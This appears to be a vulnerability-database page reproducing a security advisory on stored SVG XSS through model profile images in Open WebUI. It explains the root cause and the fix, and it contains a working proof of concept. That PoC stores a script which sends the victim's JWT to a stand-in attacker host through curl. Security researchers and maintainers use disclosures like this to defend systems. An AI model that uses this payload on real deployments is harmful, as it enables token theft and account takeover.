GHSA-V2QM-5WXJ-QHJ7

Vulnerability from github – Published: 2026-06-17 14:15 – Updated: 2026-06-17 14:15
VLAI
Summary
Open WebUI: Stored XSS to Account Takeover via Model Profile Images
Details

Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc


TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.


Past of the issue

In early 2025, two security advisories landed for Open WebUI:

  • GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
  • GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.

The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.

Except there was a fourth endpoint.

The Gap

Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:

# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    description: Optional[str] = None
    capabilities: Optional[dict] = None
    model_config = ConfigDict(extra='allow')

No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....

The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:

# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
    header, base64_data = profile_image_url.split(',', 1)
    image_data = base64.b64decode(base64_data)
    image_buffer = io.BytesIO(image_data)
    media_type = header.split(';')[0].lstrip('data:')

    headers = {'Content-Disposition': 'inline'}
    # ...
    return StreamingResponse(
        image_buffer,
        media_type=media_type,
        headers=headers,
    )

No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.

Compare this with the patched user endpoint:

# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:   # <-- ABSENT in models.py
    return FileResponse(f'{STATIC_DIR}/user.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',             # <-- ABSENT in models.py
    },
)

The fix exists. It just was never applied here.

Comparison Table

Endpoint Input Validation MIME Allowlist nosniff Status
GET /users/{id}/profile/image YES YES YES Patched
GET /webhooks/{id}/profile/image YES no no Partially patched
GET /models/model/profile/image NO NO NO Vulnerable

Three Write Vectors

The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:

  1. POST /api/v1/models/create (line 195) any user with workspace.models permission
  2. POST /api/v1/models/update (line 581) model owner or admin
  3. POST /api/v1/models/import (line 279) admin only

The workspace.models permission is enabled by default for all non-pending users in a standard deployment.

The Attack

Step 1 Store the payload:

SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
      \"description\": \"Latest GPT-4 Turbo model\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

Step 2 Victim navigates to the image URL:

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview

This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).

Step 3 Token theft:

The server responds:

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>

No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.

PoC

#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"   # attacker-controlled listener

# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
  </script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof — SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>
````
No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in `<img src=...>` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

## Root Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta`  which uses the same `profile_image_url` field with the same serving logic  was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.

## Recommended Fix

**Input side**  add the validator to `ModelMeta`:

```python
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    # ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:15:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Stored XSS to Account Takeover via Model Profile Images in Open WebUI\n\n**Affected:** Open WebUI \u003c= 0.9.5\n**Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc\n\n---\n\n## TL;DR\n\nOpen WebUI patched SVG XSS in user profile images and webhook profile images  but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model\u0027s profile image and achieve full account takeover of anyone who navigates to the image URL.\n\n---\n\n## Past of the issue\n\nIn early 2025, two security advisories landed for Open WebUI:\n\n- **GHSA-3wgj-c2hg-vm6q**  SVG XSS via user profile images\n- **GHSA-3856-3vxq-m6fc**  SVG XSS via webhook profile images\n\nThe patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py`  a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `\u003cscript\u003e` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`.\n\nThe fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed.\n\nExcept there was a fourth endpoint.\n\n## The Gap\n\nOpen WebUI has a concept of \"Models\"  user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py, line 37-47\nclass ModelMeta(BaseModel):\n    profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n    description: Optional[str] = None\n    capabilities: Optional[dict] = None\n    model_config = ConfigDict(extra=\u0027allow\u0027)\n```\n\nNo `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url`  including `data:image/svg+xml;base64,...`.\n\nThe serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap:\n\n```python\n# backend/open_webui/routers/models.py, line 503-518\nelif profile_image_url.startswith(\u0027data:image\u0027):\n    header, base64_data = profile_image_url.split(\u0027,\u0027, 1)\n    image_data = base64.b64decode(base64_data)\n    image_buffer = io.BytesIO(image_data)\n    media_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027)\n\n    headers = {\u0027Content-Disposition\u0027: \u0027inline\u0027}\n    # ...\n    return StreamingResponse(\n        image_buffer,\n        media_type=media_type,\n        headers=headers,\n    )\n```\n\nNo MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application\u0027s origin.\n\nCompare this with the **patched** user endpoint:\n\n```python\n# backend/open_webui/routers/users.py, line 497-509\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:   # \u003c-- ABSENT in models.py\n    return FileResponse(f\u0027{STATIC_DIR}/user.png\u0027)\n\nreturn StreamingResponse(\n    image_buffer,\n    media_type=media_type,\n    headers={\n        \u0027Content-Disposition\u0027: \u0027inline\u0027,\n        \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027,             # \u003c-- ABSENT in models.py\n    },\n)\n```\n\nThe fix exists. It just was never applied here.\n\n## Comparison Table\n\n| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |\n|----------|:---:|:---:|:---:|--------|\n| `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** |\n| `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched |\n| `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** |\n\n## Three Write Vectors\n\nThe malicious SVG data URI can be injected through any of three endpoints  all pass `ModelForm` containing `ModelMeta` without validation:\n\n1. **`POST /api/v1/models/create`** (line 195)  any user with `workspace.models` permission\n2. **`POST /api/v1/models/update`** (line 581)  model owner or admin\n3. **`POST /api/v1/models/import`** (line 279)  admin only\n\nThe `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment.\n\n## The Attack\n\n**Step 1  Store the payload:**\n\n```bash\nSVG=$(echo \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n  \u003c/script\u003e\n\u003c/svg\u003e\u0027 | base64 -w0)\n\ncurl -s -X POST \u0027https://TARGET/api/v1/models/create\u0027 \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\n    \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n    \\\"name\\\": \\\"GPT-4 Turbo\\\",\n    \\\"base_model_id\\\": \\\"gpt-4\\\",\n    \\\"meta\\\": {\n      \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n      \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n    },\n    \\\"params\\\": {},\n    \\\"access_grants\\\": []\n  }\"\n```\n\n**Step 2  Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model\u0027s avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3  Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n  \u003c/script\u003e\n\u003c/svg\u003e\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\u003cscript\u003e` executes. `localStorage.getItem(\"token\")` returns the victim\u0027s JWT. The attacker receives it and has full API access  password changes, admin promotion, data exfiltration.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\n# PoC: Stored SVG XSS -\u003e token theft via Open WebUI model profile image\n# Affected: open-webui \u003c= 0.9.5\n\nTARGET=\"http://localhost:8080\"\nATTACKER_TOKEN=\"\u003cattacker_JWT_from_localStorage.token\u003e\"\nCOLLECTOR=\"https://attacker.example.com/steal\"   # attacker-controlled listener\n\n# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---\nread -r -d \u0027\u0027 SVG \u003c\u003cEOF\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"${COLLECTOR}?t=\"+encodeURIComponent(localStorage.getItem(\"token\"));\n  \u003c/script\u003e\n\u003c/svg\u003e\nEOF\nSVG_B64=$(printf \u0027%s\u0027 \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model\u0027s profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n  -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n    \\\"name\\\": \\\"GPT-4 Turbo\\\",\n    \\\"base_model_id\\\": \\\"gpt-4\\\",\n    \\\"meta\\\": {\n      \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n      \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n    },\n    \\\"params\\\": {},\n    \\\"access_grants\\\": []\n  }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof \u2014 SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003enew Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\u003c/script\u003e\n\u003c/svg\u003e\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the \u003cscript\u003e executes in the Open WebUI origin, and the victim\u0027s JWT lands in the attacker\u0027s collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).\n\nTrigger note: because the frontend loads model avatars in `\u003cimg src=...\u003e` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document \u2014 e.g. right-click \u2192 \"Open image in new tab\", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.\n\n## Root Cause\n\nAn incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta`  which uses the same `profile_image_url` field with the same serving logic  was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.\n\n## Recommended Fix\n\n**Input side**  add the validator to `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py\nfrom open_webui.utils.validate import validate_profile_image_url\n\nclass ModelMeta(BaseModel):\n    profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n    # ...\n\n    @field_validator(\u0027profile_image_url\u0027, mode=\u0027before\u0027)\n    @classmethod\n    def check_profile_image_url(cls, v):\n        if v is None:\n            return v\n        return validate_profile_image_url(v)\n```\n\n**Output side**  add MIME check and nosniff to the serving endpoint:\n\n```python\n# backend/open_webui/routers/models.py\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:\n    return FileResponse(f\u0027{STATIC_DIR}/favicon.png\u0027)\n\nreturn StreamingResponse(\n    image_buffer,\n    media_type=media_type,\n    headers={\n        \u0027Content-Disposition\u0027: \u0027inline\u0027,\n        \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027,\n    },\n)\n```\n\nBoth layers are necessary  input validation prevents storage, output validation prevents serving even if a bypass is found later.",
  "id": "GHSA-v2qm-5wxj-qhj7",
  "modified": "2026-06-17T14:15:52Z",
  "published": "2026-06-17T14:15:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Stored XSS to Account Takeover via Model Profile Images "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…